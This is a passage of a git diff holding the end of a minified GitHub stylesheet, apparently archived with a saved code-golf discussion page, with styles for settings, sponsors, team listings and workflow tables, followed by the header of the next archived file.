#caa21a;border-radius:6px}.prereceive-feedback-heading{margin-top:0;margin-bottom:8px;color:var(--color-attention-fg)}.repository-item-checkbox:checked+.repository-item-name{background-color:var(--color-accent-subtle)}.custom-role-icon{background-color:var(--color-canvas-subtle)}.profile-picture{margin:8px 0 0}.profile-picture>p{float:left;margin:0;line-height:30px}.profile-picture>img{float:left;margin:0 8px 0 0;border-radius:6px}.app-owner{margin:16px 0 0}.avatar-upload .flash{width:100%;padding:32px 16px;border:dashed 1px var(--color-danger-emphasis);box-shadow:none}.avatar-upload .upload-state{display:none;padding:8px 0}.avatar-upload .upload-state p{margin:0;font-size:12px;color:var(--color-fg-muted)}.avatar-upload .avatar-upload .octicon{display:inline-block}.is-uploading .avatar-upload .loading{display:block;padding:0}.is-uploading .avatar-upload .loading img{vertical-align:top}.is-uploading .avatar-upload .button-change-avatar{display:none}.is-bad-file .avatar-upload .bad-file{display:block;margin:0}.is-too-big .avatar-upload .too-big{display:block;margin:0}.is-bad-dimensions .avatar-upload .bad-dimensions{display:block;margin:0}.is-bad-format .avatar-upload .bad-format{display:block;margin:0}.is-failed .avatar-upload .failed-request{display:block;margin:0}.is-empty .avatar-upload .file-empty{display:block;margin:0}dl.new-email-form{padding:8px 8px 0;margin:0 -8px 8px;border-top:1px solid var(--color-border-default)}.recent-user-key-access{color:#1e7e34}.oauth-app-info-container .float-left-container{float:left;text-align:left}.oauth-app-info-container .float-right-container{float:right;text-align:right}.oauth-app-info-container dl.keys{margin:8px 0}.oauth-app-info-container dl.keys dt{margin-top:8px;font-weight:600;color:var(--color-fg-muted)}.oauth-app-info-container dl.keys dd{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-default)}.oauth-app-info-container .user-count{font-size:32px;font-weight:300;color:var(--color-fg-muted)}.access-token{border-bottom:1px solid var(--color-border-muted)}.access-token:last-child{border:0}.access-token .last-used{margin-right:8px}.access-token.new-token{background-color:rgba(108,198,68,.1)}.access-token.new-token .octicon-check{color:var(--color-success-fg)}.access-token .token-description{max-width:450px;color:var(--color-fg-default)}.access-token .token{font-size:14px}.access-token .token-type{min-width:76px}table.security-history-detail{width:100%;font-size:12px}table.security-history-detail td{max-width:200px;word-wrap:break-word}.u2f-registration{position:relative;padding-bottom:4px;margin-bottom:4px}.u2f-registration.is-sending .u2f-registration-delete{display:none}.u2f-registration.is-sending .spinner{position:relative;top:3px}.u2f-registration-icon{position:absolute;left:-24px;color:var(--color-fg-muted)}.new-u2f-registration{position:relative}.new-u2f-registration .add-u2f-registration-form:not(.for-trusted-device){display:none;margin-bottom:8px}.new-u2f-registration.is-active .add-u2f-registration-link{display:none}.new-u2f-registration.is-active .add-u2f-registration-form{display:block}.new-u2f-registration .webauthn-request-interaction,.new-u2f-registration .webauthn-request-error{display:none}.new-u2f-registration.is-sending .webauthn-request-interaction{display:block}.new-u2f-registration.is-showing-error .webauthn-request-error{display:block}.spinner{display:none}.is-sending .spinner{display:inline-block}.confirmation-phrase{font-style:italic;font-weight:400}.session-device .session-state-indicator.recent{background-color:var(--color-success-emphasis);box-shadow:0 0 10px rgba(108,198,68,.5)}.session-device .session-state-indicator.revoked{background-color:var(--color-danger-emphasis);box-shadow:0 0 10px rgba(198,108,68,.5)}.session-device .session-state-indicator.not-recent{background-image:linear-gradient(#aaa, #ccc);box-shadow:0 1px 0 #fff}.collaborators .collab-list{border-bottom-width:0}.collaborators .collab-list-item:first-child .collab-list-cell{border-top-width:0}.collaborators .collab-list-cell{padding-top:16px;padding-bottom:16px;vertical-align:middle}.collaborators .collab-meta{width:140px}.collaborators .collab-remove{padding-right:16px;text-align:right}.collaborators .collab-remove .remove-link{color:var(--color-fg-muted)}.collaborators .collab-remove .remove-link:hover{color:var(--color-danger-fg)}.collaborators .collab-team-link{width:300px}.collaborators .collab-team-link:hover{text-decoration:none}.collaborators .collab-team-link .avatar{float:left;margin-top:1px;margin-right:8px}.collaborators .collab-team-link.disabled{pointer-events:none}.collaborators .collab-info{height:100%;color:var(--color-fg-default)}.collaborators .collab-info .description{padding-right:50px;margin-top:4px;margin-bottom:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.collaborators .collab-info .collab-name{display:block;font-size:14px}.collaborators .collab-info .collab-message{position:relative;top:25%;display:block}.collaborators .copy-invite-modal{left:0;width:300px}@media(min-width: 768px){.collaborators .copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · 